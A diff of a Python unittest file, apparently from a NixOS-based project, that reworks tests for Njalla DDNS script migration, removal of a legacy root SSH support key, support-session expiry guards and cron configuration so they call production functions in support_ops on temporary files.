|
||||||
|
|
||||||
|
def test_failed_persistence_leaves_script_untouched(self):
|
||||||
|
"""If save_fn raises, the script must NOT be archived."""
|
||||||
|
def _fail_save(urls):
|
||||||
|
raise OSError("disk full")
|
||||||
|
|
||||||
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
script_path = os.path.join(tmpdir, "njalla.sh")
|
||||||
|
script_content = (
|
||||||
|
"#!/usr/bin/env bash\n"
|
||||||
|
"curl https://njal.la/update/?h=test&k=TOKEN\n"
|
||||||
|
)
|
||||||
|
with open(script_path, "w") as f:
|
||||||
|
f.write(script_content)
|
||||||
|
os.chmod(script_path, 0o755)
|
||||||
|
|
||||||
|
support_ops.migrate_legacy_njalla_script(
|
||||||
|
script_path,
|
||||||
|
_validate_ddns_url,
|
||||||
|
_fail_save,
|
||||||
|
lambda: [],
|
||||||
|
)
|
||||||
|
|
||||||
|
# Script must still be executable (not archived)
|
||||||
|
mode = oct(os.stat(script_path).st_mode)[-3:]
|
||||||
|
self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Legacy root key removal
|
# Legacy root key removal — production-backed tests
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestLegacyRootKeyRemoval(unittest.TestCase):
|
class TestLegacyRootKeyRemoval(unittest.TestCase):
|
||||||
"""_remove_legacy_root_support_key must remove only the legacy key."""
|
"""remove_legacy_root_key must remove only the exact historical key blob.
|
||||||
|
|
||||||
def _simulate_removal(self, lines: list[str]) -> list[str]:
|
All tests call the exact production implementation from support_ops with
|
||||||
"""Simulate the key-removal logic without touching real files."""
|
temporary files; no simulation is used.
|
||||||
COMMENT = "sovransystemsos-support"
|
"""
|
||||||
kept = []
|
|
||||||
for line in lines:
|
|
||||||
stripped = line.rstrip("\n")
|
|
||||||
parts = stripped.split()
|
|
||||||
if len(parts) >= 3 and parts[2] == COMMENT:
|
|
||||||
pass # remove
|
|
||||||
else:
|
|
||||||
kept.append(line)
|
|
||||||
return kept
|
|
||||||
|
|
||||||
def test_legacy_key_removed(self):
|
TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
|
||||||
lines = [
|
|
||||||
"ssh-ed25519 AAAA admin@host\n",
|
def _do_removal(self, file_content: str) -> tuple[bool, str]:
|
||||||
"ssh-ed25519 BBBB sovransystemsos-support\n",
|
"""Run production key removal, return (changed, result_content)."""
|
||||||
"ssh-ed25519 CCCC another@host\n",
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
]
|
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
||||||
result = self._simulate_removal(lines)
|
with open(auth_keys, "w") as f:
|
||||||
self.assertEqual(len(result), 2)
|
f.write(file_content)
|
||||||
contents = "".join(result)
|
changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
|
||||||
self.assertNotIn("sovransystemsos-support", contents)
|
with open(auth_keys) as f:
|
||||||
self.assertIn("admin@host", contents)
|
result = f.read()
|
||||||
self.assertIn("another@host", contents)
|
return changed, result
|
||||||
|
|
||||||
|
def test_exact_historical_key_removed(self):
|
||||||
|
"""The exact historical key must be removed regardless of comment."""
|
||||||
|
lines = (
|
||||||
|
"ssh-ed25519 AAAA admin@host\n"
|
||||||
|
f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
||||||
|
"ssh-ed25519 CCCC another@host\n"
|
||||||
|
)
|
||||||
|
changed, result = self._do_removal(lines)
|
||||||
|
self.assertTrue(changed)
|
||||||
|
self.assertNotIn(self.TARGET_BLOB, result)
|
||||||
|
self.assertIn("admin@host", result)
|
||||||
|
self.assertIn("another@host", result)
|
||||||
|
|
||||||
|
def test_same_comment_different_blob_preserved(self):
|
||||||
|
"""A key with 'free@nixos' comment but different blob must NOT be removed."""
|
||||||
|
lines = (
|
||||||
|
"ssh-ed25519 DIFFERENTBLOB free@nixos\n"
|
||||||
|
)
|
||||||
|
changed, result = self._do_removal(lines)
|
||||||
|
self.assertFalse(changed)
|
||||||
|
self.assertIn("DIFFERENTBLOB", result)
|
||||||
|
|
||||||
|
def test_legacy_key_with_different_comment_removed(self):
|
||||||
|
"""The exact blob with any comment (or no comment) must be removed."""
|
||||||
|
lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
|
||||||
|
changed, result = self._do_removal(lines)
|
||||||
|
self.assertTrue(changed)
|
||||||
|
self.assertNotIn(self.TARGET_BLOB, result)
|
||||||
|
|
||||||
def test_unrelated_keys_preserved(self):
|
def test_unrelated_keys_preserved(self):
|
||||||
lines = [
|
lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
|
||||||
"ssh-ed25519 AAAA admin@host\n",
|
changed, result = self._do_removal(lines)
|
||||||
"ssh-ed25519 CCCC another@host\n",
|
self.assertFalse(changed)
|
||||||
]
|
|
||||||
result = self._simulate_removal(lines)
|
|
||||||
self.assertEqual(result, lines)
|
self.assertEqual(result, lines)
|
||||||
|
|
||||||
def test_empty_file_unchanged(self):
|
def test_empty_file_unchanged(self):
|
||||||
self.assertEqual(self._simulate_removal([]), [])
|
changed, result = self._do_removal("")
|
||||||
|
self.assertFalse(changed)
|
||||||
|
self.assertEqual(result, "")
|
||||||
|
|
||||||
def test_comment_line_preserved(self):
|
def test_comment_line_preserved(self):
|
||||||
lines = [
|
lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
|
||||||
"# authorized keys\n",
|
changed, result = self._do_removal(lines)
|
||||||
"ssh-ed25519 AAAA admin@host\n",
|
self.assertFalse(changed)
|
||||||
]
|
|
||||||
result = self._simulate_removal(lines)
|
|
||||||
self.assertEqual(result, lines)
|
self.assertEqual(result, lines)
|
||||||
|
|
||||||
def test_multiple_legacy_keys_all_removed(self):
|
def test_missing_file_returns_false(self):
|
||||||
lines = [
|
result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
|
||||||
"ssh-ed25519 AAAA sovransystemsos-support\n",
|
self.assertFalse(result)
|
||||||
"ssh-ed25519 BBBB sovransystemsos-support\n",
|
|
||||||
"ssh-ed25519 CCCC admin@host\n",
|
def test_audit_callback_called(self):
|
||||||
]
|
events = []
|
||||||
result = self._simulate_removal(lines)
|
lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
||||||
self.assertEqual(len(result), 1)
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
self.assertIn("admin@host", "".join(result))
|
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
||||||
|
with open(auth_keys, "w") as f:
|
||||||
|
f.write(lines)
|
||||||
|
support_ops.remove_legacy_root_key(
|
||||||
|
auth_keys, self.TARGET_BLOB,
|
||||||
|
audit_fn=lambda event, details="": events.append(event),
|
||||||
|
)
|
||||||
|
self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Support session expiration
|
# Support session expiry — production-backed tests
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
class TestSupportSessionExpiration(unittest.TestCase):
|
class TestSupportSessionExpiration(unittest.TestCase):
|
||||||
"""Support session expiry logic must respect expires_at."""
|
"""expire_if_stale must enforce expiry and the session_id guard.
|
||||||
|
|
||||||
def _is_expired(self, session_info: dict) -> bool:
|
All tests call the exact production implementation from support_ops with
|
||||||
"""Replicate the expiry check from _expire_support_if_stale."""
|
temporary files and injectable clock/disable functions.
|
||||||
import time
|
"""
|
||||||
expires_at = session_info.get("expires_at")
|
|
||||||
if expires_at is None:
|
def _write_session(self, tmpdir, **fields) -> str:
|
||||||
enabled_at = session_info.get("enabled_at", 0)
|
status_file = os.path.join(tmpdir, "support-session-status")
|
||||||
return bool(enabled_at and (time.time() - enabled_at) > 86400)
|
with open(status_file, "w") as f:
|
||||||
return time.time() >= expires_at
|
json.dump(fields, f)
|
||||||
|
return status_file
|
||||||
|
|
||||||
def test_future_expiry_not_expired(self):
|
def test_future_expiry_not_expired(self):
|
||||||
import time
|
import time
|
||||||
info = {"expires_at": time.time() + 3600}
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
self.assertFalse(self._is_expired(info))
|
sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
|
||||||
|
disabled = [False]
|
||||||
|
result = support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||||
|
)
|
||||||
|
self.assertFalse(result)
|
||||||
|
self.assertFalse(disabled[0])
|
||||||
|
|
||||||
def test_past_expiry_expired(self):
|
def test_past_expiry_expired(self):
|
||||||
import time
|
import time
|
||||||
info = {"expires_at": time.time() - 1}
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
self.assertTrue(self._is_expired(info))
|
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
||||||
|
disabled = [False]
|
||||||
|
result = support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||||
|
)
|
||||||
|
self.assertTrue(result)
|
||||||
|
self.assertTrue(disabled[0])
|
||||||
|
|
||||||
def test_no_expiry_recent_session_not_expired(self):
|
def test_no_expiry_recent_session_not_expired(self):
|
||||||
import time
|
import time
|
||||||
info = {"enabled_at": time.time() - 100}
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
self.assertFalse(self._is_expired(info))
|
sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
|
||||||
|
result = support_ops.expire_if_stale(sf, clock_fn=time.time)
|
||||||
|
self.assertFalse(result)
|
||||||
|
|
||||||
def test_no_expiry_old_session_expired(self):
|
def test_no_expiry_old_session_expired(self):
|
||||||
import time
|
import time
|
||||||
info = {"enabled_at": time.time() - 86401}
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
self.assertTrue(self._is_expired(info))
|
sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
|
||||||
|
disabled = [False]
|
||||||
|
result = support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||||
|
)
|
||||||
|
self.assertTrue(result)
|
||||||
|
self.assertTrue(disabled[0])
|
||||||
|
|
||||||
|
def test_session_id_guard_matching_expires(self):
|
||||||
|
"""Timer with matching session_id must expire the session."""
|
||||||
|
import time
|
||||||
|
sid = "test-session-id"
|
||||||
|
exp = time.time() - 1
|
||||||
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
|
||||||
|
disabled = [False]
|
||||||
|
result = support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||||
|
session_id=sid,
|
||||||
|
expected_expiry=exp,
|
||||||
|
)
|
||||||
|
self.assertTrue(result)
|
||||||
|
self.assertTrue(disabled[0])
|
||||||
|
|
||||||
|
def test_stale_timer_does_not_revoke_replacement_session(self):
|
||||||
|
"""A timer for an old session must not revoke a newer replacement session."""
|
||||||
|
import time
|
||||||
|
old_sid = "old-session"
|
||||||
|
new_sid = "new-session"
|
||||||
|
exp = time.time() - 1
|
||||||
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
# Current session has the NEW session id
|
||||||
|
sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
|
||||||
|
disabled = [False]
|
||||||
|
# Timer fires with OLD session id
|
||||||
|
result = support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||||
|
session_id=old_sid, # stale — doesn't match stored new_sid
|
||||||
|
expected_expiry=exp,
|
||||||
|
)
|
||||||
|
self.assertFalse(result, "stale timer must not revoke replacement session")
|
||||||
|
self.assertFalse(disabled[0])
|
||||||
|
|
||||||
|
def test_stale_expiry_mismatch_does_not_revoke(self):
|
||||||
|
"""A timer with mismatched expected_expiry must not revoke."""
|
||||||
|
import time
|
||||||
|
sid = "same-sid"
|
||||||
|
exp = time.time() - 1
|
||||||
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
|
||||||
|
disabled = [False]
|
||||||
|
result = support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||||
|
session_id=sid,
|
||||||
|
expected_expiry=exp, # differs from stored exp+999
|
||||||
|
)
|
||||||
|
self.assertFalse(result)
|
||||||
|
self.assertFalse(disabled[0])
|
||||||
|
|
||||||
|
def test_startup_reconciliation_with_live_session(self):
|
||||||
|
"""On startup, a live session must not be expired."""
|
||||||
|
import time
|
||||||
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
|
||||||
|
disabled = [False]
|
||||||
|
result = support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
|
||||||
|
)
|
||||||
|
self.assertFalse(result)
|
||||||
|
self.assertFalse(disabled[0])
|
||||||
|
|
||||||
|
def test_audit_callback_receives_support_expired_event(self):
|
||||||
|
import time
|
||||||
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
|
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
|
||||||
|
events = []
|
||||||
|
support_ops.expire_if_stale(
|
||||||
|
sf,
|
||||||
|
clock_fn=time.time,
|
||||||
|
audit_fn=lambda event, details="": events.append(event),
|
||||||
|
)
|
||||||
|
self.assertIn("SUPPORT_EXPIRED", events)
|
||||||
|
|
||||||
def test_zero_enabled_at_not_expired(self):
|
def test_zero_enabled_at_not_expired(self):
|
||||||
info = {"enabled_at": 0}
|
with tempfile.TemporaryDirectory() as tmpdir:
|
||||||
self.assertFalse(self._is_expired(info))
|
sf = self._write_session(tmpdir, enabled_at=0)
|
||||||
|
result = support_ops.expire_if_stale(sf)
|
||||||
|
self.assertFalse(result)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Cron composition
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
class TestCronComposition(unittest.TestCase):
|
||||||
|
"""configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
|
||||||
|
|
||||||
|
def _get_config_content(self):
|
||||||
|
path = os.path.join(_REPO_ROOT, "configuration.nix")
|
||||||
|
with open(path) as f:
|
||||||
|
return f.read()
|
||||||
|
|
||||||
|
def test_cron_not_disabled(self):
|
||||||
|
"""services.cron.enable = false must not appear in configuration.nix."""
|
||||||
|
self.assertNotIn("services.cron.enable = false", self._get_config_content())
|
||||||
|
|
||||||
|
def test_sovran_ddns_update_timer_in_njalla(self):
|
||||||
|
"""The periodic Njalla updater must be the systemd timer, not a cron job."""
|
||||||
|
path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
|
||||||
|
with open(path) as f:
|
||||||
|
content = f.read()
|
||||||
|
self.assertIn("sovran-ddns-update", content)
|
||||||
|
self.assertNotIn("services.cron", content)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
Reference in New Issue
Block a user